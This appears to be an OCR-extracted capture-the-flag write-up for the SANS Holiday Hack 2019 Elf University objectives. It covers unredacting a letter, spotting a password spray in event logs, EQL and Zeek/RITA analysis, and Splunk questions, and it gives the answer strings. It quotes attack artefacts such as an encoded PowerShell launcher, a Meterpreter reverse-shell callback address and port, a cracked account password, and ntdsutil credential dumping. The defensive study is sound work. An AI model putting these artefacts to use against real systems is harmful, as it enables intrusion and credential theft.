Leave the Student Union and go back to the Quad. Head to the northwest corner of the Quad and you will find a document icon
partially visible behind one of the trees. Click on the document image to download "LetterToElfUPersonnel.pdf"
(https://downloads.elfu.org/LetterToElfUPersonnel.pdf).

Shudent union

Open the pdf document and find that some of the text has been redacted.

Pate: February 28, 2019
To the Adwinistration, Faculty, and Staff of Elf university
1# Christmens Tree Lawe

MNorth Pole

From: A Concerned and Aggrieved Character

: .

Hf You do not accede to our demands, we will be foreed to take matters into our own hands.
we do not malet this threat lightly. You have Less thaw six wonths to act devonstrably.

0

o

™

oo

v

o

szmng,

--A Concerned ane Aagrieved Character

Click and hold in the upper left of the redacted text and drag highlight/select across the redacted area making sure it's all selected.

When selected correctly, it will appear as below. Then copy this selected text with Ctrl+c and paste into a text editor to reveal the
redacted text.
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Here is the full text of the document with the previously redacted area shown in gray

Date: February 28, 2019

To the Administration, Faculty, and Staff of EIf University
17 Christmas Tree Lane
North Pole

From: A Concerned and Aggrieved Character

Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical Characters... OR
ELSE!

Attention All EIf University Personnel,

It remains a constant source of frustration that EIf University and the entire operation at the
North Pole focuses exclusively on Mr. S. Claus and his year-end holiday spree. We URGE

you to consider lending your considerable resources and expertise in providing merriment,
cheer, toys, candy, and much more to other holidays year-round, as well as to other mythical
characters.

For centuries, we have expressed our frustration at your lack of willingness to spread your
cheer beyond the inaptly-called “Holiday Season.” There are many other perfectly fine

holidays and mythical characters that need your direct support year-round.

If you do not accede to our demands, we will be forced to take matters into our own hands.
We do not make this threat lightly. You have less than six months to act demonstrably.

Sincerely,

--A Concerned and Aggrieved Character

The answer to Objective 2 needed for the badge question is the string: DEMAND

© 2) Unredact Threatening Document
Difficulty: #&%%

Someone sent a threatening letter to ELf University.
What is the first word in ALL CAPS in the subject line
of the letter? Please find the letter in the Quad.

oo

© 2) Unredact Threatening Document
Difficulty: #&4%

Someone sent a threatening letter to ELlf University.
What is the first word in ALL CAPS in the subject line
of the letter? Please find the letter in the Quad.
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Objective 3 — Windows Log Analysis: Evaluate Attack Outcome

Everything needed to complete this objective is provided in the badge description for Objective 3 and dialog from Bushy Evergreen:

Bushy Evergreen
Have you taken a look at the password spray attack artifacts?

I'll bet that DeepBlueCLl tool is helpful.
You can check it out on GitHub.

It was written by that Eric Conrad.

He lives in Maine - not too far from here!

A link is provided to download the Security Event log (https://downloads.elfu.org/Security.evtx.zip) for analysis. Once downloaded,
unzip it into a directory for analysis. There are several tools and methods that could have been used to parse and analyze this
Security.evtx. | chose to use DeepBlueCLI in order to learn this tool and which can be cloned from here: https://github.com/sans-
blue-team/DeepBlueCLI.

There are several git clients for Windows, including in Visual Studio. | used Cygwin's git for Windows:

_Iny x|
Select Packages n
Select packages to instal oo
Wigw  |Full ﬂ Search |git Clear (" Keep % Best  Sync [ Test
FPackage Current | New Sic? | Categories -
qit-archive-all Skip v| D Devel
git-clang-farmat Skip 'l D Devel J
git-cvs Skip '| D Devel
git-debuginfo Skip | [0 pebug F
git-email Skip v| D Devel
git-gui Skip 'l D Devel
git-oadif Skip | [ s
aitpd Skip | [ Devel =
. - i/ - .
4 | >

v Hide obsolete packages

< Back | MNest » | Cancel ‘

The Gridview is helpful to quickly identify logon attempts which are excessive. One account, supatree, stands out as having 1 less
total login failure than the rest (76 vs 77)
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‘DeepBlue.psl .\password-spray.evts | Out-Gridview

@ add criteria "l

Name | Value
Dats 8/23/2019 8:00:20 PM
Massage  High number of logon failures for one account
Log Security
EventID 4672
Usernams: gchocolatewine
Results Total logon failures: 77
Decoded
Command
Dat= 8(23(2019 8:00:20 PM
Message  High number of logon failures for one account
Log Security
EventID 4672
Username: lstripyleaves
Results Total logon failures: 77
Decoded
Command
Date 8232019 8:00:20 PM
Message  High number of logon failures for one account
Log Security
EventID 4672
Usemame: supatree
Results Total logon failures: 76
Decoded
Command
Date 8232019 8:00:20 PM
Message  High number of logon failures for one account
Log Security
EventID 4672
Username: smary
Results Total logon failures: 77
Decoded
Command
Date 8/23/2019 8:00:20 PM
Message  High number of logon failures for one account
Log Security
EventID 4672
Username: frwinklestockings
Resuits Total logon failures: 77

Looking further, we find a successful login with user supatree. Looks like a successful password spray attack against this user!

= .\DeepBlue.psl .\password-spray.evtx | Dut-Gridview

==

i Add criteria * |

MName Walus

8723/2019 8:00:20 PM
Message  Multiplz admin logons for one account
Lag Security
EwentID 4572

Username: supatres

Resuits User 51D Access Count: 2

Decoded
Cornmand

Using another tool called evtx2json (https://github.com/vavarachen/evtx2json) and then parsing the json file manually for the user
"supatree" and events 4624 and 4625, | was able to determine that it was the 2" password attempted (out of the 77) that was the
one that was a successful logon and sent at timestamp: 2019-11-19 12:21:45.755442 UTC. | will use this bit of information later in
Objective 4.

The answer to Objective 3 needed for the badge question is the string: supatree

Page 54 of 184


https://github.com/vavarachen/evtx2json

€ 3) Windows Log Analysis: Evaluate
Attack Outcome

pifficulty: #%£%%

We're seeing attacks against the ELf U domain! Using
the event log data, identify the user account that
the attacker compromised using a password spray
attack. Bushy Evergreen is hanging out in the train
station and may be able to help you out.

supatree Submit

© 3) Windows Log Analysis: Evaluate
Attack QOutcome

Difficulty: #5%%

We're seeing attacks against the ELlf U domain! Using
the event log data, identify the user account that the
attacker compromised using a password spray attack.
Bushy Evergreen is hanging out in the train station
and may be able to help you out.

Congratulations! You have completed
the Windows Log Analysis: Evaluate
Attack Outcome challengel!
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Objective 4 — Windows Log Analysis: Determine Attacker Technique

Everything needed to complete this objective is provided in the badge description for Objective 4 and dialog from SugarPlum Mary:

SugarPlum Mary
Have you tried the Sysmon and EQL challenge?

If you aren't familiar with Sysmon, Carlos Perez has some great info about it.
Haven't heard of the Event Query Language?

Check out some of Ross Wolf's work on EQL or that blog post by Josh Wright in your badge.

A link in included to download the Sysmon log (https://downloads.elfu.org/sysmon-data.json.zip) for analysis. Once downloaded,
unzip it into a directory for analysis. Once again, there are several tools and methods that could have been used to parse and
analyze this json file. | chose to use EQL and the Slingshot distro to learn these tools.

After a few initial EQL queries focusing on the command_line parameter, four malicious activities are revealed:

1. The use of the wevtutil.exe command to clear 182 event logs, indicating the attacker covering their tracks.

slingshot@slingshot: ~/working
File Edit View Search Terminal Help

2. The use of net.exe to perform a password spray attack against 31 ELFU domain accounts trying 77 passwords on each
account, one password per second approximately. There were actually 72 unique passwords in the 77 passwords
attempted per account, where 3 passwords (PasswOrd, Princess1 & Winter2020) were attempted twice and 1 password
(Password1) attempted 3 times - not good tradecraft. Additionally, in many domain environments having this many

failed-logon attempts per account would have locked out all 31 domain accounts, resulting in a denial of service (also
not good tradecraft).

slingshot@slingshot: ~/working

File Edit view Search Terminal Help
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This password spray appears to be the same or at least similar to one analyzed in Objective 3. Correlating data from
Obijective 3, it was the 2" password sent to the supatree account that resulted in a successful login and the 2" password
sent chronologically was: PasswOrd1

This is likely the password for the ELFU\supatree domain account.

slingshot@slingshot: ~/working
File Edit View Search Terminal Help
slings jshot :~/workings eql que

3. The following command_line indicates an elevation of privilege to SYSTEM using the Named Pipe Impersonation
technique (common artifact when the "getsystem" command is used in Metasploit and other frameworks)

slingshot@slingshot: ~/working v (o) [x

File Edit Vview Search Terminal Help

4. There are 3 PowerShell payload execution sets and each set starts with an initial cmd.exe cradle process to launch
PowerShell, followed by two subsequent powershell.exe processes. All had the same PowerShell payload and analysis
indicates it is a standard Metasploit windows/meterpreter/reverse_tcp PowerShell psh-cmd payload.

slingshot@slingshot: ~/working Y lilo B %
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Saving the base64 encoded portion into a file called psh.b64, it can be decoded and unzipped as follows:

slingshot@slingshok: ~/working v) (a) (x
File Edit View Search Terminal Help

slingshot@slingshot: ~/working s
File Edit View Search Terminal Help

The "push dword" line at offset "AF" contains the destination ip address the reverse_tcp payload will call back to "0x8056a8c0",
which reversing the little-endian order will yield:

Oxc0 =192
Oxa8 = 168
0x56 = 86

0x80 =128

192.168.86.128
The "push dword" at offset "B4" contains the destination port in the high order word "5c11" which reversing little-endian is:

0x115c = 4444
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Now excluding entries already analyzed, | filter those out with the following command:

eql query -f sysmon-data.json 'process where process name != "net.exe" and
process name != "wevtutil.exe" and process name != "powershell.exe" and
command line != "*powershell*"' | jq "{process name, command line}"

slingshot@slingshot: ~/working
File Edit View Search Terminal Help

This leaves the above 5 entries and process name "ntdsutil.exe" running as SYSTEM looks like the culprit:

| eql query -f sysmon-data.json 'process where process name = "ntdsutil.exe"' | jq

slingshot@slingshot: ~/working
File Edit View Search Terminal Help

The ntdsutil method of credential dumping is described in detail here:
https://isc.sans.edu/forums/diary/Cracking+AD+Domain+Passwords+Password+Assessments+Part+1+Collecting+Hashes/23383/

The answer to Objective 4 needed for the badge question is the string: ntdsutil

& 4) Windows Log Analysis: Determine
Attacker Technique

Difficulty: FY Y

Using these normalized Sysmon logs, identify the tool
the attacker used to retrieve domain password hashes

from the lsass.exe process. For hints on achieving
this objective, please visit Hermey Hall and talk
with SugarPlum Mary.

& 4) Windows Log Analysis: Determine
Attacker Technique
pifficulty: 243

Using these normalized Sysmon logs, identify the tool
the attacker used to retrieve domain password hashes
from the lsass.exe process. For hints on achieving
this objective, please visit Hermey Hall and talk with
SugarPlum Mary.

Congratulations! You have completed
the Windows Log Analysis: Determine
Attacker Technigue challenge!
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Objective 5 — Network Log Analysis: Determine Compromised System
Everything needed to complete this objective is provided in the badge description for Objective 5 and dialog from Sparkle Redberry:

Sparkle Redberry
For objective 5, have you taken a look at our Zeek logs?

Something's gone wrong. But | hear someone named Rita can help us.
Can you and she figure out what happened?

A link is included to download the Zeek logs (https://downloads.elfu.org/elfu-zeeklogs.zip). Once downloaded, unzip it into a
directory for analysis. As before, there are several tools and methods that could have been used to parse these log files which are in
a table format broken out by traffic type, and not in JSON, XML, nor evtx format. | chose to use a combination of Linux command
line tools to parse these files.

The conn*.log and files*.log files appear to contain the relevant ip connection related data and using the following command will
produce the source ip address with the highest number of network connections, indicating this host is likely the one that is malware
infected.

-f 3-6
sort

S SANSNS/AV/ g =£ 1 =el " 2

-k 3,3 -k 4,4 |

—d v v I
-n | tail

sort | | cut

=S

| cut
unig -c |

cat conn.log* files.log* |
sort -n -t -k 1,1 -k 2,2

uniqg

After a few seconds, the following output is generated showing that ip address 192.168.134.130 with 165169 entries in these logs:

slingshot@slingshot: ~/working/elfu-zeeklogs vl(al ix

File Edit View Search Terminal Help

Additionally, there is a RITA (https://www.blackhillsinfosec.com/projects/rita/) report in the /elfu-zeeklogs/ELFU/ directory.
Examining this data, also confirms that source ip address 192.168.134.130 has the greatest number of beaconing connections:

slingshot@slingshot: ~/working/elfu-zeeklogs/ELFU
File Edit View Search Terminal Help

Mozilla Firefox AR

File Edit Vview History Bookmarks Tools Help
/home/slingshot/working/c X | +
&« Cc @ @ file:///home/slingshot/working/elfu-zeeklogs/ELFU/ELFU/beacons.html . w N 0 ® =
Viewing: ELFU Beacons Strobes BL Source IPs BL Dest. IPs BL Hostnames Long Connections User Agents RITA on O
Score Source Destination Connections Avg. Bytes r:::lge :iaz:ge I,:I‘;‘:‘Ie ?‘Ii;:e E:j‘é fn'::e !Sr"(t::v :Lz:w :;ligs;rsion giizs:ersion
ount Count
|0.998 192.168.134.130 144.202.46.214 7660 1156.000 10 683 10 563 6926 7641 0.000 0.000 0 0 I
0.847 192.168.134.131 150.254.186.145 684 13737.000 8741 2244 1 698 54 356 0.000 0.000 0 0
0.847 192.168.134.132 150.254.186.145 684 13634.000 37042 2563 1 697 58 373 0.000 0.000 0 0
0.840 192.168.134.135 150.254.186.145 345 12891.000 1 2097 1 694 31 181 0.000 0.000 0 0
0.835 192.168.134.133 45.55.96.63 132 1268.000 9 49 1 658 39 68 0.000 0.000 0 0
0.835 192.168.134.133 69.4.231.30 115 4135.000 2 105 1 684 35 58 0.000 0.000 0 0
0.835 192.168.134.135 52.242.211.89 49 572.000 1170 2766 1680 153 37 40 0.000 0.000 0 0
0.835 192.168.134.134 216.17.109.252 63 92.000 2 0 3 52 7 63 0.000 0.000 0 0
0.834 192.168.134.132 52.179.224.121 47 379.000 643 157 1680 153 29 37 0.000 0.000 0 0
0.834 192.168.134.134 52.177.166.224 46 541.000 471 2378 1680 153 28 36 0.000 0.000 0 0 ¥
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And the highest duration of Long Connections:

Mozilla Firefox

[home/slingshot/working/c % | +

<« c @ @ file:/f/home/slingshot/working/elfu-zeeklogs/ELFU/ELFU/long-conns.html o w n o ¢
Viewing: ELFU Beacons Strobes BL Source IPs BL Dest. IPs BL Hostnames Long Connections User Agents RITAon ©

Source Destination DstPort:Protocol:Service Duration

I 192.168.134.130 148.69.64.76 443:tcp:-, 443:tcp:ssl 1035.9001|
192.168.134.133 52.197.126.208 443:tcp:-, 443:tcp:ssl 531.6659
192.168.134.132 178.172.160.4 443:tcp:-, 443:tcp:ssl, 80:tcp:-, 80:tcp:http 531.5994
192.168.134.133 104.20.54.254 443:tcp:-, 443:tcp:ssl 527.3385
192.168.134.132 104.20.123.103 443:tcp:-, 443:tcp:ssl 526.3489
192.168.134.134 104.22.1.144 443:tcp:-, 443:tcp:ssl 526.3439
192.168.134.131 104.19.241.95 443:tcp:-, 443:tcp:ssl 526.3432
192.168.134.132 104.16.56.24 443:tcp:-, 443:tcp:ssl 526.3409
192.168.134.134 104.25.168.15 443:tcp:-, 443:tcp:ssl 526.34
192.168.134.133 104.16.1.78 443:tcp:-, 443:tcp:ssl 526.3397
192.168.134.132 104.26.1.248 80:tcp:http, 443:tcp:ssl, 443:tcp:- 526.3397
192.168.134.131 104.16.89.20 443:tcp:-. 443:tcp:ss! 526.3362

The answer to Objective 5 needed for the badge question is the string: 192.168.134.130

& 5) Network Log Analysis: Determine
Compromised System

Difficulty: 253

The attacks don't stop! Can you help identify the IP
address of the malware-infected system using these
Zeek logs? For hints on achieving this objective,
please visit the Laboratory and talk with Sparkle
Redberry.

© 5) Network Log Analysis: Determine
Compromised System

pifficulty: 444

The attacks don't stop! Can you help identify the IP
address of the malware-infected system using these
Zeek logs? For hints on achieving this objective,
please visit the Laboratory and talk with Sparkle
Redberry.

Congratulations! You have completed
the Network Log Analysis: Determine
Compromised System challenge!
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- 000000]
Objective 6 — Splunk

Everything needed to complete this objective is provided in the badge description for Objective 6 and dialog from Professor Banas:

Professor Banas

Hi, I'm Dr. Banas, professor of Cheerology at EIf University.

This term, I'm teaching "HOL 404: The Search for Holiday Cheer in Popular Culture," and I've had quite a shock!

I was at home enjoying a nice cup of Glagg when | had a call from Kent, one of my students who interns at the Elf U SOC.

Kent said that my computer has been hacking other computers on campus and that | needed to fix it ASAP!

If I don't, he will have to report the incident to the boss of the SOC.

Apparently, | can find out more information from this website https.//splunk.elfu.org/ with the username: elf / Password: elfsocks.
I don't know anything about computer security. Can you please help me?

A link is included to a separate web site at: https://splunk.elfu.org/. This is a Splunk web console which requires authentication and
the Professor Banas character in the Hermey Hall Laboratory provides an incident summary and the credentials needed to access
this Splunk console (username: elf / Password: elfsocks).

Upon logging in, we're greeted with an introduction to this challenge:

:
The Search for Holiday Cheer Challenge
1. Your goal is to answer the Challenge Question. You will include the answer to this question in your HHC write-up!
2. You do not need to answer the training questions. You may simply search through the Elf U SOC data to find the answer
to the final question on your own.
3. If you need some guidance, answer the training questions! Each one will help you get closer to the answering the
Challenge Question.
4. Characters in the SOC Secure Chat are there to help you. If you see a blinking red dot ® next to a character, click on
them and read the chat history to learn what they have to teach you! And don't forget to scroll up in the chat history!
5. To search the SOC data, just click the Search link in the navigation bar in the upper left hand corner of the page
6. This challenge is best enjoyed on a laptop or desktop computer with screen width of 1600 pixels or more.
7. WARNING This is a defensive challenge. Do not attack this system, web application, or t sck-end APIs. Thank you!

After dismissing the intro message above, we see a chat window on the left and a list of 8 questions to answer on the right. The
chat window has three online active users: "Alice Bluebird", "Kent", & "#ELFU SOC".

Elf University SOC

SOC Secure Chat

% i

g ) Slice Blucbind e Chat with Alice Bluebird
ek / R
9 Buddy Bellsbee

y’.;, Cosmo Jingleberg
i o
ot

ﬂ Fisbee O'Mittens
4

Hiya Alice

I 5

Atce Bluetig

I see you've met Kent

@ Mcfluffy Battings

Guest me
Zippy Frostington
. Alce Blusbird

briefly. He seems..frustrated

Pretty accurate. He's been here a long time and he struts around like:
some sort of cyber-peacock

#ELFU SOC
Jr—
Guest (me)

Some time (preferably over good eggnog) Ml tell you about his horrible
opsec, too

<

The first rule of EIf U 5OC is "scroll up!" ™
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Alice Bluebird sets up the goals for this challenge in her chat dialog which is show here below and also providing the direct link to the
Splunk search and a separate AWS link where the File Archive is kept:

Chat with Alice Bluebird
18 messages

Alice Bluebird
hey hey...

Guest (me)
Hiya Alice

Alice Bluebird
| see you've met Kent

Guest (me)
briefly. He seems...frustrated

Alice Bluebird
Pretty accurate. He's been here a long time and he struts around like some sort of cyber-peacock

Alice Bluebird
Some time (preferably over good eggnog) I'll tell you about his horrible opsec, too

Alice Bluebird
Suffice to say we have adversaries poking fun at him during attacks. JML

Guest (me)
JML?

Alice Bluebird
jingle my life

Guest (me)
LoL!

Alice Bluebird
So Cosmo, Zippy, and | have a good handle on what went down with Professor B's system

Guest (me)
ah, gotcha

Alice Bluebird
But we can always use good analysts here in the SOC, so if you can figure it out, we'll put in a good word with the boss of the SOC.

Guest (me)
Let's do this!

Alice Bluebird
Okay. Your goal is to find the message for Kent that the adversary embedded in this attack.

Alice Bluebird
If you think you have the chops for that, don't let me slow you down. Get searching and enter the Challenge Question answer when
you've found it.

Alice Bluebird
You'll need to know some things, though:

We use Splunk, so click here or hit the Search link in the navigation up above to get started.
| copied some raw files here or click the File Archive link in the navigation. (You'll find some references to the File Archive
contents in Splunk)

You'll need to use both of these resources to answer the Challenge Question!
Alice Bluebird

Don't worry though, | can get you started down the right path with a few hints if you need 'em. All you have to do is answer the
first training question. If you've read all the chat windows here, you already have the answer ;-)

The first rule of EIf U SOC is "scroll up!" A

Next is the chat with Kent which is not very helpful and he refers you to the "#ELFU SOC" chat channel:
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Chat with Kent
7 messages

Guest (me)
Hi Kent :-)

Kent
Hi yourself.

Guest (me)
I ran into Professor Banas. He said you contacted him about his computer being hacked?

Kent
Oh, well lots of analysts try to make it here in the ELF U SOC, but most of them crack under the pressure

Guest (me)
Well, can | help?

Kent
You can try. Go check out #ELFU SOC. Maybe someone there will have time to bring you up to speed. Here's a tip, click on those

blinking red dots to the left column and read very carefully.

Guest (me)
Thanks???

The first rule of EIf U SOC is "scroll up!" A

Lastly is the #ELFU SOC channel, which provides the answer to Training Question #1:

Chat with #ELFU SOC
5 messages

Cosmo Jingleberg
Hey did you all see that beaconing detection from RITA?

Zippy Frostington
Yep. And we have some system called 'sweetums' here on campus communicating with the same weird IP

Alice Bluebird
Gabh... that's Professor Banas' system from over in the Polar Studies department

Guest (me)
That's why I'm here, actually...Kent sent me to this channel to help with Prof. Banas' system

Alice Bluebird
smh...I'll DM you

So now that we have sufficient background and context, we can use Splunk searches to answer the training questions:

Training Question #1:
What is the short host name of Professor Banas' computer?

The answer to this is in the #ELFU SOC chat channel where Zippy Frostington identified it as "sweetums"
Answer: sweetums

Results

Training Question 1: Correct
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'Training Question #2:
What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location

of the file. (Example: C:\temp\

Using the provided Splunk search link: https://splunk.elfu.org/en-US/app/SA-elfusoc/search search on: "sweetums",

report.pdf)

"sweetums powershell" and "sweetums C:\\Users\\cbanas"

You will find the following entr

i ame [souces

v | sasms  wineventiogmirosotwindos
51914000 Fowersnel/Operatnal
I

08/25/2019 09:19:14 A1
LogName=Microsoft-indows-PowerShel1/Operational
SourceName=Hicrosoft-Windows-Ponershell
EventCode=4103

EventTypens

Type=Information

Conputerane=seetuns.1fu.org.
User=NOT_TRANSLATED

sidType=0
TaskcategoryExecuting Pipeline

ies:

£ Eventcode = £ host s

103 sweatums

& sourcetype =

OpCode=To be used when operation is just executing a method

RecordNunber=417607
Keywords=Nore.

Message=CommandInvocation(Select-String): *Select-String"

Paraneter8inding(Select-String): nane="Path"; vall
Paranetersinding(select-string): nane="

Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.17134.858
Host ID = 060F91d4~FF5b-4672-976c-acf 676766583

\Users\cbanas\Docunents\Naughty_and_Nice_2019_draft. txt"

ttern®; value="Santa”

Host Application = powershell -noP -sta -w 1 -enc Q86

PowershellOperational

v | e2sne WinEventLog Microsoft Windows-
51914000  PowershellOperational
M

08/25/2019 09:19:18 A
LogNane=Microsof t-Windows-PoerShel1/Operational
SourceNane=Microsoft-Windows-Ponershell
EventCoden4103
EventType=s
Type=Infornation
ConputerNane=sweetuns. elfu.org
User=NOT_TRANSLATED

- 2

SidType0
TaskCategory=Executing Pipeline

RecordNusber=417614

Keywords=one

Message=ComandInvocation(Get-ChildItem): “Get-ChildIte

ParaneterBinding(Get-ChildItem): nane="Recurse”; value

Paranetersinding(Get-Childiten): nane="path; value

ParaneterBinding(Get-ChildItem): nane="File"; value='Trt
ion(F " .

4103 sweetums

OpCode=To be used when operation is just executing a method

True"
\Users\cbanas”

- -path §_ -pattern Santa"
jalue="Microsoft Edge.Ink"

Paranetersinding(ForEach-Object): name="Input0bject"; v:

putObject”;
Paranetersinding(ForEach-Object): name="Input0bject"; v:

- _and_Nice_2019_draft. txt"
jalue="15th Century Holiday Cheer Assignrent.doc”

Paranetersinding(ForEach-Object): name="Input0bject"; v:

- zip"
alue="Bing.url"
P

=" InputObject”;
Paranetersinding(ForEach-Object): name="Tnput0bject"; value

ownloads. nk”

Powershell/Operational

context
Severity = Informational
Host Name = Default Host
Host Version = 5.1.17134.858
Host ID = 06079104-F15b-4672-576c-acT 672766583

Host Application = powershell -noP -sta -w 1 -enc

=" Inputobject"; value="winr

i me 7 soure *
v | saste  wieventogmcrosonwindows-
51920000 Powershel/Operationsl
M

08/25/2019 09:19:20 MM
LogName=Microsoft-Windows-PoversheL1/0perational
SourceNane=Microsoft-Windows-Powershell
EventCode=4103

EventType=s

Type=Infornation

Computerane=sneetuns.elfu.org
User=NOT_TRANSLATED

sidType-0
TaskCategory=Executing Pipeline

Eventcods ¢ hosts * Computerame +

4103 sweetums,

Opcode=To be used when operation is just executing a method

RecordNusber=417616
Keywords=None

ComandInvocation(Format-List): "Format-List"
ComandInvocation(Out-String): "Out-String"
Paraneter8inding(Stop-AgentJob): name="JobNane"; value
ParaneterBinding(Format-List): name="InputObject”; value
have a look at this draft Naughty and Nice list for 2013

VCUDA"

and let me know your thoughts? -Santa

Paraneterinding(Out-String): nane="Inputobjec
ParaneterBinding(Out-String): name="Inputobjec

valu
value="

Powershell.Comnands. Internal .Fornat . FormatStartData"
Microsoft. Powershel1. Comnands. Internal .Fornat  GroupStar tbata”
Microsoft. PowerShel . Comnands. Internal . Fornat . FormatEntryData”

) ject";
ParaneterBinding(Out-String): name="Input0bject"; value=")

Context:
Severity = Infornational
Host Name = ConsoleHost
Host Version = 5.1.17134.858
Host ID = caddfds9-adba-452c-bf00-07206297112b
Host Application = powershell -noP -sta - 1 -enc

Powershell.Comnands. Internal .Fornat. GroupEndData”
Microsoft.Powershel . Connands. Internal .Format. FormatEndpata’

Powershell/Operational

Je="C: \Users\cbanas\Documents\Naughty_and_Nice_2019_draft. txt:1:Carl, you know there's no one T trust more than you to help. Can you

AREAIAFSAUE

Answer: C:\Users\cbanas\Documents\Naughty_and_Nice_2019 _draft.txt

Results
Training Question 2: Correct

C

H

A

1 |
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'Training Question #3:
What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com)

Search Range:  08/25/2019 17:18:50.000 - 08/25/2019 17:20:00.000
Search: sweetums powershell

Date time range v

> Presets
> Relative
> Date Range

~ Date & Time Range

Between ¥ 08/25/2019 17:18:50.000 and | 08/25/2019 17:20:00.000
HHMM:SS.555 HHMMSS. S5
Apply
> Advanced
_time ff source = [f Eventcode = host sourcetype & [{ process_name = [{ Torgetriename ¢ i destip ¢
8259 WinEventlogMicrosoft: 3 sweetums XmiWinEventlogMicrosoft.  powershellexe 144202.46.214
51850000 Windows- Windows-
M Sysmon/Operational Sysmor/Operational
<Event xalns= e X Nane= " Guid="(5770385F~C22A-3E0-BAC-06F S6IBFFBOS) ' /><Event 10>3</Event ID><Vers
SystenTine="2019-08-25T17:18:50..6427902007" Procest
crosof alfu iser T0=" . - (que_id=T1085, techniaue_nane-Ponc
0823 15:07:16 = < - Nane=" Inage'>C e
. Nane-Protocol " Nase= Initiated" Nane="Sour ceTsIpv6 ' >false</Data><Data Natie='Sourcelp'>172.16.234, 163</Data><Data Name='Sourcefc
- : Nane=" - - - 1
- Nan
Event Actions ~
Type 7 Fleld Value Actions
Selected (] EventCode » 3 v
7] destip~ 1142024621 v
4l host~ sweetums v
/] process i~ 5864 v
7] process_name ~ powershellexe v
4l source~ ‘WinventLog:Microsoft-Windows-Sysmon/Operational v
/| sourcetype + v
Event Computer + swestums effuorg v
DestinationHostname + 144.202.46 214 uitrcom v
Destinationlp » 14420246214 v
a05ne VakvortiogMicason 3 f— XmiWinEvoctioghicrosal.  powershofloxs 144,307,468 714
51650000 Vncou wWindows
™ sysmonoperational sysmonaperationai
<Event amlns='hetp: /schenas. mierosaft. “assyste Nane= MLCrosatt-Windows-SySnan’ Guid"{5TT0305F C124-41E0-BFAC BGFSESAFFEDN) /> CuentIDs3c/Erent I0acy
i SystenTine=' 2019-08-25T1T: 18 5. 6427302002 waa13</ever i fon Frocest
crosoft-Windovs-Sysnony/Oper at ianal &/ Channe L><Comput o ssusebisss 1. or < Corsuter<Secur iy Usar Tha'S1-5-18° /5¢/SyatomocEven Dt s><Tata Nane="Rulotane > ochiniguo_idT1 855, Lechnicue_ panssPome
96-23 15:07:16,856</Dat3> Lata Nane Processtuld’> (T3FTAIBE -CGEB-5005-0003-001BC ane Nane=! Inage >0 i 1w1.¢

SSMEETUNS\Coanas</Data><Data Name='Protoce] '>Lcpe/Data><Data Name="Initiated'>truec/Data=Data Mane="Sourcelsipvs >fal se</Data><Data Kame='Seurcelp'>172.16,234. 163</0ata><Data Nare=' Sourcak:
Mame=SourcePort 359458</DatarData Kame=" SourcePor thame ' </Dat><Data Nane='Destinglien[sIpvs > alse</DataData Mame="Destinationls'>144. 207 48, 214¢/Datar<Data Nome= Destirat sorHostnane' 31s
e='Desti >800</Data><Data Nane ane < /Da <AV ENDRCE</Event>

Event Actions v

Tyee 7 Fisa value. Actions
Selectea /| Eventoae E] v
, 14420206214 ~
B swestums -
F seea v
¥ paw -
7| souce WinEvertloq Micresoft Windavs Sysmon/Operationsl -
7| sowcarype e S R — e ——— v
Evemt Gompier = swestums sior -
BestnabonHosmame » 144 26286 21 iltreom v
Dastnatonn v 144 20286 214 v
Destnatonsiprs v faise -
DestinationPort » aos0 o
Evenichannel = Micros G Windows SysmenOperatons v
EvenDesciipton = Netwark Connict v
Evemn + s v
Image. -
Iniisted = ue <
Keyworcs + 0x2000006000000C0D -
Loveie s v
Opcode ¥ o ~

Answer: 144.202.46.214.vultr.com

Results

¥4 Training Question 3: Correct
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'Training Question #4:
What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)

Search Range: 8/25/2019 17:18:00.000 - 8/25/2019 17:31:00.000

Search:
e sweetums

e Event of interest contained this attachment in Outlook for this zip file:
C:\Users\cbanas\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\JA3SMHHCH\Buttercups_HOL40

4_assignment (002).zip

e Unzipping this zip contained a .docm file inside that had malicious macro with PowerShell

i me Eventcose ¢ 1 TargetFlename & dnostz i sourceype s 1§ Computerhame 3 | process name ¢ i Process_Com
~ | sasns ogircrason 1 Crsers S — sweetums  XmWIREventLOgMIcrosoR: ouTLooKExE
5200000 WA A Conlen Outas Wi
P SysmonOperations: UAIMHHCH ButlercugsHOLAOA_sssignment Sysmon/Operations!
oz
<Event xalns~'| . .microseft.. i L Microsof t -Windows-Sysmon' Guid=' (S770345F-C224-4300-EF4C -05FSE0FTL ! freEventIl>11</CventID><Ver
OO0OROAOINONDN/Neyuords><TiaCraated SystenTine='2013-06-25111: 16: B0, 15STRIAROZ <EvantRacorcID>164265</EvinTRecordlI><Lorral ation/>Exacution ProcassiD="1552" ThraadID™' 180" (><ChamnaloHic!
rocSecarity UserIDe'8-1-5-18' o< Syst m<EventDatar<Data Nane='Rulekame /Dt o=<lata Nave="UlcTine >2019-00-25 17:18:00. 104</Datap<Data Nane='ProcessGuid>(ESFTA1E-ATD0-E006-0069-00 422858
(188)\Wicrosoft. OFFice\ropt\0Fice 16Y0UTLOCK.EXEC/Data><Dats Nape= TargatFiler "  0L484_sssign
S</Evantiata</Events
Fvort Actioms =
Type < Fiald Walus Actions.
Selected (41 EveniCode 1 -
7| Targetriename = Cwsersicbanas ? SUNECaneco IASMHICHIBUTRrcugs_ HOL40S_Bssignment (00212
2! nost= sweewms v
2] process. ) v
V] process_ame s OUTLOOKEXE -
= 23
[ Computer= swetums oo v
CreatontAcTime + 2015.05. v
EvemDescrpton = e Crewed -
Evento = n v
Image » CProgam Files MBBMICIOs0f OTCe 00l OMce ISOUTLOGK EXE P
Keymords = 0x8300000000000000 -
Leved = 4 v
[rrm— o v
ProcosGuR = (FBE7AIEEATD0 SDD6-0000.0O1027559503) v
Processi - 5860 =
v 3 eesm ms-sysmon-filemod CiWindows  C:\Windows Flle Created
51815000 ExplorerEXE  \Temp\Temp1_Buttercups_HOL404_assignment
PM (002)21p\19th Century Holiday Cheer
Assignment docm
<gvent xalns="http: microsoft : e Hi " Guid=" (ST70385F~C22A~4360-BFAC-0BFS6SBFFBDS) ' /><EventID>1</Even
>2¢/Version><Level>4</Level><Task>11</ IneCreated SystenTine='2019-08-25T17: 18:15.0847265002'/><EventRecordID>164283</Ev

